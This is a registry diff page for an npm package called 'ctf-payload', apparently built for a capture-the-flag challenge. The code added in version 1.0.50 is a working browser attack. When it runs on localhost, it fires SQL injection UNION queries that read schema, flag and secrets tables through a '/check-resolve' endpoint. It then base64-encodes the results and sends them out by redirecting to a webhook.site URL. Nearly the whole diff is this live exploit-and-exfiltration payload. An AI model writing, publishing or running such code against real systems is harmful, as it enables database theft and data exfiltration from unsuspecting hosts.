ctf-payload 1.0.49 → 1.0.50
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +12 -4
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,8 +1,16 @@
|
|
|
1
1
|
if(window.location.hostname === '127.0.0.1'){
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
const queries = [
|
|
3
|
+
"id=0 UNION SELECT name FROM sqlite_schema--",
|
|
4
|
+
"id=0 UNION SELECT flag FROM flag--",
|
|
5
|
+
"id=0 UNION SELECT flag FROM flags--",
|
|
6
|
+
"id=0 UNION SELECT value FROM secrets--"
|
|
7
|
+
];
|
|
8
|
+
Promise.all(queries.map(body=>
|
|
9
|
+
fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body})
|
|
10
|
+
.then(r=>r.text())
|
|
11
|
+
.then(t=>body.split('id=')[1].substring(0,25)+'='+t.substring(0,80))
|
|
12
|
+
)).then(results=>{
|
|
13
|
+
window.location='https://webhook.site/6f93f943-4f0f-4d41-bdeb-b568c015030e?d='+btoa(unescape(encodeURIComponent(results.join('|'))));
|
|
6
14
|
});
|
|
7
15
|
} else {
|
|
8
16
|
window.location='http://127.0.0.1:8255/part2';
|